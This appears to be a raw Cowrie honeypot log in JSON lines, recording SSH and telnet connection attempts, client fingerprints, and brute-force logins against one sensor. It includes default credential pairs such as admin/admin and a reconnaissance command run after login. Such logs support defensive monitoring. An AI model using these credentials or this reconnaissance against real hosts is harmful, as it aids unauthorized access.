{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:31.881808Z","src_ip":"47.237.167.49","session":"45286ce84270","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:32.121562Z","src_ip":"47.237.167.49","session":"45286ce84270","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58824,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb3840e736a4","protocol":"telnet","message":"New connection: 152.42.224.71:58824 (10.17.0.5:23) [session: fb3840e736a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:32.314444Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:32.949863Z","src_ip":"47.237.167.49","session":"45286ce84270","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:33.599047Z","src_ip":"47.237.167.49","session":"45286ce84270","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:33.602071Z","src_ip":"47.237.167.49","session":"45286ce84270","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"2.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:35.848057Z","src_ip":"47.237.167.49","session":"45286ce84270","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42876,"dst_ip":"10.17.0.5","dst_port":23,"session":"ada19ccb06ab","protocol":"telnet","message":"New connection: 152.42.224.71:42876 (10.17.0.5:23) [session: ada19ccb06ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:36.866407Z"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:37.080640Z","src_ip":"47.237.167.49","session":"45286ce84270","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.24490976333618,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:38.012811Z","src_ip":"152.42.224.71","session":"655e1f461fb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42878,"dst_ip":"10.17.0.5","dst_port":23,"session":"c198ffd3e8b4","protocol":"telnet","message":"New connection: 152.42.224.71:42878 (10.17.0.5:23) [session: c198ffd3e8b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:39.339817Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42894,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae1497e2b03b","protocol":"telnet","message":"New connection: 152.42.224.71:42894 (10.17.0.5:23) [session: ae1497e2b03b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:41.166993Z"}
{"eventid":"cowrie.session.closed","duration":62.48269748687744,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:41.342088Z","src_ip":"152.42.224.71","session":"442b311f2f92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":56712,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2d9b74b639b","protocol":"ssh","message":"New connection: 47.237.167.49:56712 (159.203.135.109:22) [session: c2d9b74b639b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:41.928274Z"}
{"eventid":"cowrie.session.closed","duration":60.60307788848877,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:42.027331Z","src_ip":"152.42.224.71","session":"7e587c38f8bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42898,"dst_ip":"10.17.0.5","dst_port":23,"session":"023893e90266","protocol":"telnet","message":"New connection: 152.42.224.71:42898 (10.17.0.5:23) [session: 023893e90266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:43.896853Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42900,"dst_ip":"10.17.0.5","dst_port":23,"session":"23a500305bd8","protocol":"telnet","message":"New connection: 152.42.224.71:42900 (10.17.0.5:23) [session: 23a500305bd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:44.598922Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37902,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcbc56d4a010","protocol":"telnet","message":"New connection: 152.42.224.71:37902 (10.17.0.5:23) [session: fcbc56d4a010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:48.275356Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37918,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cdaebe37937","protocol":"telnet","message":"New connection: 152.42.224.71:37918 (10.17.0.5:23) [session: 7cdaebe37937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:48.779791Z"}
{"eventid":"cowrie.session.closed","duration":120.00275468826294,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:50.019125Z","src_ip":"152.42.224.71","session":"9519100d8cd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.70685315132141,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:51.392082Z","src_ip":"152.42.224.71","session":"26b4571a570c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37928,"dst_ip":"10.17.0.5","dst_port":23,"session":"3320a3e4fb3b","protocol":"telnet","message":"New connection: 152.42.224.71:37928 (10.17.0.5:23) [session: 3320a3e4fb3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:52.202798Z"}
{"eventid":"cowrie.session.closed","duration":119.4672200679779,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:15:57.373321Z","src_ip":"152.42.224.71","session":"a7da2536737b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.908164739608765,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:00.457723Z","src_ip":"152.42.224.71","session":"00c998137cae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.86.117","src_port":42640,"dst_ip":"159.203.135.109","dst_port":22,"session":"18c334936995","protocol":"ssh","message":"New connection: 43.128.86.117:42640 (159.203.135.109:22) [session: 18c334936995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:03.064629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:03.072076Z","src_ip":"43.128.86.117","session":"18c334936995","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:03.310951Z","src_ip":"43.128.86.117","session":"18c334936995","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.33879280090332,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:04.228046Z","src_ip":"152.42.224.71","session":"da89259b94a0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"mike","password":"123456","message":"login attempt [mike/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:04.295305Z","src_ip":"43.128.86.117","session":"18c334936995","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:05.536805Z","src_ip":"43.128.86.117","session":"18c334936995","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.7283616065979,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:06.327187Z","src_ip":"152.42.224.71","session":"23a500305bd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37316,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf1e07ada9e4","protocol":"telnet","message":"New connection: 152.42.224.71:37316 (10.17.0.5:23) [session: cf1e07ada9e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:07.347085Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.42.176.142","src_port":15164,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0f8b38bade5","protocol":"ssh","message":"New connection: 31.42.176.142:15164 (10.17.0.5:22) [session: e0f8b38bade5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:07.635081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:07.640801Z","src_ip":"31.42.176.142","session":"e0f8b38bade5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:07.735306Z","src_ip":"31.42.176.142","session":"e0f8b38bade5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:7c:1b:22:68:39:f4:54:8e:56:04:02:03:9a:17:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy/YQyPGEULw5+SNBCvsitghb/OI969y/DmGImovePHxU4PSAI4Bbdl8txLuBEGi9h1hD+ENbSUl1YhLqE/sappg/mOhbtaxeP3HYojetlXRbGVQg6caSZxJTUVSdBGs/AlzbwQmxo6mc9d5JWD9UafPEccFTC34gSbvB9btktN6vsrBGiPcodJkQtXhXneXCARy1gKIuIxTEnFhMnSNLOp+p840o4UxqdsPnJ8WRFCqTz2XQQFXWgeFgEFutroHWMTmEKow4Y0UtNkWNm7zPyx71bFAZw2u+BJS8Bb6pIi7rGy7x6Is+BUtj7wdD1rOvuyPZUpGJLt1ti4VgUcbmd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:7c:1b:22:68:39:f4:54:8e:56:04:02:03:9a:17:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:08.145992Z","src_ip":"31.42.176.142","session":"e0f8b38bade5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:7c:1b:22:68:39:f4:54:8e:56:04:02:03:9a:17:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy/YQyPGEULw5+SNBCvsitghb/OI969y/DmGImovePHxU4PSAI4Bbdl8txLuBEGi9h1hD+ENbSUl1YhLqE/sappg/mOhbtaxeP3HYojetlXRbGVQg6caSZxJTUVSdBGs/AlzbwQmxo6mc9d5JWD9UafPEccFTC34gSbvB9btktN6vsrBGiPcodJkQtXhXneXCARy1gKIuIxTEnFhMnSNLOp+p840o4UxqdsPnJ8WRFCqTz2XQQFXWgeFgEFutroHWMTmEKow4Y0UtNkWNm7zPyx71bFAZw2u+BJS8Bb6pIi7rGy7x6Is+BUtj7wdD1rOvuyPZUpGJLt1ti4VgUcbmd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:08.150259Z","src_ip":"31.42.176.142","session":"e0f8b38bade5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:3d:c9:eb:9c:2d:45:08:a4:84:a3:50:61:7b:3b:cd","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIZyemzaLvvQUFYPYk6Dyx2QDv9Ru55BkOamlteHEge8V9FpB4bMEWhrz/8VbI/E7J9Y/sGdxRU3XOJq0zl4o8+OHoNHTNWO2Y96htFlSRr8IquHaF7nRldwz4ZfVY1t2bruwzI8Cq1mHNKwFfKOKBzeTCMn16dpZLF/+B3PSDdPAAAAFQDL9eI/0rlCkEa6VcLfj7pvAaoYsQAAAIBuwAecXzI7NunEQAiZg+i/gqA3HftM46DJ+Lnf8Ws3DRVImoSiqzxnwi3abNi5TsfPXpRsVZ4cEZVXeuIrtj6wMVvnpbMbkTX5E/DGOtjmQ694YN7ycmeV1itjsIIGvQmyJtNmOlTRL5gNsRNwtZKO9tnlqtBcE7Z5joUcxEX/WwAAAIBYbFM869a3Hm072ltBVagR8T3zk6LMoeLumrBDGCwgRW5a6KwA0dy822fBfuBz0iH0R2MepbtD/lVLgSPhk5lrwhNyYd2o6K1WILzn0DXA4wZEJYBLKOZWY2ttzHxqDBG8eJ6vjMeHSgtlk2kgN/kc50SU3D+ltZfHn1YRd6TxZg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 12:3d:c9:eb:9c:2d:45:08:a4:84:a3:50:61:7b:3b:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:08.237164Z","src_ip":"31.42.176.142","session":"e0f8b38bade5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:3d:c9:eb:9c:2d:45:08:a4:84:a3:50:61:7b:3b:cd","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIZyemzaLvvQUFYPYk6Dyx2QDv9Ru55BkOamlteHEge8V9FpB4bMEWhrz/8VbI/E7J9Y/sGdxRU3XOJq0zl4o8+OHoNHTNWO2Y96htFlSRr8IquHaF7nRldwz4ZfVY1t2bruwzI8Cq1mHNKwFfKOKBzeTCMn16dpZLF/+B3PSDdPAAAAFQDL9eI/0rlCkEa6VcLfj7pvAaoYsQAAAIBuwAecXzI7NunEQAiZg+i/gqA3HftM46DJ+Lnf8Ws3DRVImoSiqzxnwi3abNi5TsfPXpRsVZ4cEZVXeuIrtj6wMVvnpbMbkTX5E/DGOtjmQ694YN7ycmeV1itjsIIGvQmyJtNmOlTRL5gNsRNwtZKO9tnlqtBcE7Z5joUcxEX/WwAAAIBYbFM869a3Hm072ltBVagR8T3zk6LMoeLumrBDGCwgRW5a6KwA0dy822fBfuBz0iH0R2MepbtD/lVLgSPhk5lrwhNyYd2o6K1WILzn0DXA4wZEJYBLKOZWY2ttzHxqDBG8eJ6vjMeHSgtlk2kgN/kc50SU3D+ltZfHn1YRd6TxZg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:08.241294Z","src_ip":"31.42.176.142","session":"e0f8b38bade5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:bf:3d:a5:36:a8:aa:1e:41:b4:3b:96:c3:f2:73:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWPMJ8NsO2HIWG79222iX6Va3SzIa51rxAkdRVeDcSRfgEP6OyXDRzUxS3wcMXgbsRlmoXYj4tjMQOygsveRHAuCeDaQZf8NH89Uap9Z9ACVBI+gy+5Wb/gZ32wTpRWbP0p9o+NR1BHBwGoDKD8xPmKzAsdBu/Q3aUd/KjcK2YoUtiDmvdUGijTiOEq3AEW/PnsD64RcB06y37D+tv3jwuF561t3flpg/DsYOq4cLotdTyE5morlO1LoOUAm6G3OJpiBTLHnsSrYvJjXk/aCaF8QoVJImFj5Fc87UrNAugCBQW+HLk4H69GdzraXS7oVQDhGZxox2Ewq2MaOlFF4H5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:bf:3d:a5:36:a8:aa:1e:41:b4:3b:96:c3:f2:73:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:08.328191Z","src_ip":"31.42.176.142","session":"e0f8b38bade5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:bf:3d:a5:36:a8:aa:1e:41:b4:3b:96:c3:f2:73:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWPMJ8NsO2HIWG79222iX6Va3SzIa51rxAkdRVeDcSRfgEP6OyXDRzUxS3wcMXgbsRlmoXYj4tjMQOygsveRHAuCeDaQZf8NH89Uap9Z9ACVBI+gy+5Wb/gZ32wTpRWbP0p9o+NR1BHBwGoDKD8xPmKzAsdBu/Q3aUd/KjcK2YoUtiDmvdUGijTiOEq3AEW/PnsD64RcB06y37D+tv3jwuF561t3flpg/DsYOq4cLotdTyE5morlO1LoOUAm6G3OJpiBTLHnsSrYvJjXk/aCaF8QoVJImFj5Fc87UrNAugCBQW+HLk4H69GdzraXS7oVQDhGZxox2Ewq2MaOlFF4H5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:08.332551Z","src_ip":"31.42.176.142","session":"e0f8b38bade5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:47:f8:3e:e0:c6:89:73:2e:bd:34:5a:6b:fe:c2:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAb04hjWND7iFXAMrmm6A6umISae825NPxukDjFiQglxJFUgBVWck+evNvORlYQpYYeTbscdSk51qVBjJNIsfECc9Vo2qz9PAHTi5B1P0lSSboP2JFOc6jL+74hy66V+EnojEJex3wYoQElQTdc0ZXbKTKiOl+efLB3i9dFqT5hv+N65AdZG3a6Vk4aIO73vB04QpIIXJRUjQcOD1f6jxwbAq2I6YbL6/aUIPTo5+s2rgumwgQdTgCifv73a7bkBcOcSa4pRqqYbYOiLK2SD5j0/0lG2XkBgSkZK3uuQSjKIJflvNs/ng6J8s8IZKtbe/B+9tUrUJhTjANdkXgexohOWzpX3IDCCDxg2mNF1aRChChK9kz9nzgHfjksRgAqy5GcBWh1KDBFyVcniK/cznUDFTuqmBULL9cD1cNLgd/cC6027qQSpmnowUFyo1jRJID6KrIJFvg2yun5P6bqHXQvLD5wxpUk8BWzR390/og5OdgGzyaMhwaXV9jdDB41T9Uv7YCFgB6w6CCpABPgwLbEYP8bnb3AiZ/59cWtcwXQfYPVEdluj3d6s/ETEbLXT/7B2eeF0XqtlJ7ctqxpVh7jYYQfNY5dTHbdMEKDx122NsQdgRsZGJbeMnsYTv6bqUiF1jgFwYBEbeZz3CGuSSf406NtPR30dVksP1NJl8uWw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:47:f8:3e:e0:c6:89:73:2e:bd:34:5a:6b:fe:c2:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:16:08.420245Z","src_ip":"31.42.176.142","session":"e0f8b38bade5","protocol":"ssh"}
